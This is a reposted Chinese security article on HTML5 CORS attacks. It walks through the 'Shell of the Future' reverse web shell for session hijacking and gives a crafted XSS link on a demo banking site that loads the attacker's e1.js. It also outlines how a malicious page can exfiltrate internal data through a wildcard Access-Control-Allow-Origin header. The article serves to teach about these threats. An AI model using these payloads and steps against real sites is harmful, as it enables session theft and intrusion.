揭密HTML 5带来的攻击手法

HTML5 是下一代的HTML,HTML5赋予网页更好的意义和结构。更加丰富的标签将随着对RDFa的,微数据与微格式等方面的支持,构建对程序、对用户都更有价值的数据驱动的Web。基于HTML5开发的网页APP拥有更短的启动时间,更快的联网速度。本文详细介绍了HTML5的普及,带来的新的安全威胁。

CORS(Cross-Origin Resource Sharing) 跨域资源共享

为了构建高品质的网站,以及满足日益增长的用户需求,HTML5针对SOP(同源策略)放宽了一些限制,简单的说,同源策略允许来自同一站点的页面访问其页面的方法和属性等,但限制了跨域调用其他页面的方法和属性。现在HTML5放宽了这些限制,XMLHttpRequest Level 2新增了功能CORS协议,允许Ajax发起跨域的请求,浏览器是可以发起跨域请求的,比如你可以外链一个外域的图片或者脚本。但是Javascript脚本是不能获取这些资源的内容的,它只能被浏览器执行或渲染。

COR是页面层次的控制模式。每一个页面需要返回一个名为‘Access-Control-Allow-Origin’的HTTP头来允许外域的站点访问。你可以仅仅暴露有限的资源和有限的外域站点访问。在COR模式中,访问控制的职责可以放到页面开发者的手中,而不是服务器管理员。当然页面开发者需要写专门的处理代码来允许被外域访问。

所以只要b.com允许,a.com可以使用ajax获取A上任意数据,国外安全研究者Lava Kumar开发了一款工具“Shell of the future”。

Shell of the Future 是一个反向Web Shell处理工具(Reverse Web Shell handler)。利用跨站脚本攻击或浏览器地址栏注入javascript以后,Shell of the Future可进行劫持会话。 它利用了HTML5支持的Cross Origin Requests,可以绕过一些反会话劫持的方法,如HTTP-Only限制的cookie,帮定IP地址的会话ID。

如何使用该工具:

1、下载并解压该工具,双击“Shell of the Future.exe”,会弹出一个窗口。

2、输入任意端口,点击“Start”。

3、使用浏览器访问http://127.0.0.1:8008/sotf.console (firefox效果最佳)

4、不出问题,你将看到以下画面。(Shell of the Future有两个JavaScript的exp- e1.js和e2.js,我们可以利用XSS漏洞将其嵌入到受害者的浏览器)

5、当一个用户登录下面的测试网站:

http://www.testfire.net/bank/login.aspx (admin/admin)

该站点的搜索功能粗在一个XSS漏洞

http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%2812%29%3C%2Fscript%3E

6、攻击者发送一个恶意链接给用户,如下:

http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E

7、当用户点击之后,攻击者的IP地址将会发送给攻击者,然后点击“Hijack Session”:

8、点击Hijack Session之后,将出现如下画面:

访问内部服务器:

很多互联网公司除了有ONLINE对外的业务之外,在内部也用着很多的应用,如财务管理系统、员工管理系统以及其他的一些内部社区等,很多开发者为了各个应用之间调用简洁方便,在很多应用中都添加了以下头:

Control-Allow-Origin: *

攻击者可以利用社会工程学,让内部用户点击一个链接,然后攻击者就可以访问到内部的一些资源,以下为操作步骤:

1、员工登录到内部的某应用,如www.internalurl.com

2、internalurl服务器返回的响应头设置了Access-Control-Allow-Origin: *(允许任何域发起的请求都可以获取当前服务器的数据。)

3、员工受到一封邮件,点击了链接 – www.malicioussite.com

4、这个站点包含了正常的UI内容,所以员工一般不会察觉,但是,该页面包含了一段javascript代码。

5、该javascript代码会发送一个XMLHttpRequest请求。

6、分析返回的数据包,并把它发送到攻击者的服务器。

7、攻击者获取到公司内部站点的相关信息。

原文发布于微信公众号 - 安恒信息(DBAPP2013)

原文发表时间:2013-08-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏BeJavaGod

阿里巴巴Druid数据源,史上最强的数据源,没有之一

目前常用的数据源主要有c3p0、dbcp、proxool、druid,先来说说他们 Spring 推荐使用dbcp; Hibernate 推荐使用c3p0和pr...

3849
来自专栏noteless

windows资源管理器多标签打开 windows文件夹多标签浏览 浏览器tab页面一样浏览文件夹 clover win8 win10 报错 无响应问题怎么解决 clover卡死 clover怎么换皮

Clover 是 Windows Explorer 资源管理器的一个扩展,为其增加类似谷歌 Chrome 浏览器的多标签页功能。

3573
来自专栏喔家ArchiSelf

老曹眼中的缓存技术

缓存是系统快速响应中的一种关键技术,是一组被保存起来以备将来使用的东西,介于应用开发和系统开发之间,是产品经理们经常顾及不到的地方,算是技术架构中的非功能性约束...

1502
来自专栏企鹅号快讯

系统方案合集-系统备份方案

导读 | 精选 一、方案特点 此方案是基于批处理脚本和任务计划技术,针对系统特有文件结构和数据库结构的特点,而形成的系统备份方案。该方案特点: 1.易用性好,通...

3727
来自专栏翻译

在Ubuntu 14.04/14.10上搭建Minecraft Spigot服务器

本文介绍了如何在Ubuntu 14.04 / 14.10上搭建自己的Minecraft服务器,搭建一个让我们可以与朋友远程开黑的私服,甚至是搭建一个几百人的公共...

2562
来自专栏喵了个咪的博客空间

PhalGo-ADM思想

#PhalGo-ADM思想 关于ADM思想主要是指在API开发中使用API,Domain和Model三层结构,PhalGo从PhalApi中学习并且推崇这种设计...

3769
来自专栏腾讯移动品质中心TMQ的专栏

应用宝基于Robotium自动化测试(下)

基于Robotium自动化测试(上)》一文中小编介绍了框架选择、测试环境搭建、用例编写、跨应用处理等等内容,本文将承接上文,继续介绍测试报告生成、持续集成等等相...

2077
来自专栏各种机器学习基础算法

npm下载报错情况的处理

npm是一个非常强大的包管理器,基本上前端需要的插件和框架在这上面都有,所以本人一直只用这个,其他的一律先忽视。然而使用npm时有时候会出现error以及无法下...

3338
来自专栏james大数据架构

我是如何处理大并发量订单处理的 KafKa部署总结

  今天要介绍的是消息中间件KafKa,应该说是一个很牛的中间件吧,背靠Apache 与很多有名的中间件搭配起来用效果更好哦 ,为什么不用RabbitMQ,因为...

3889
来自专栏有趣的Python

最新Django2.0.1在线教育零基础到上线教程(十二)

演示地址: http://mxonline.mtianyan.cn 教程仓库地址1: https://github.com/mtianyan/DjangoGe...

3166

扫码关注云+社区

领取腾讯云代金券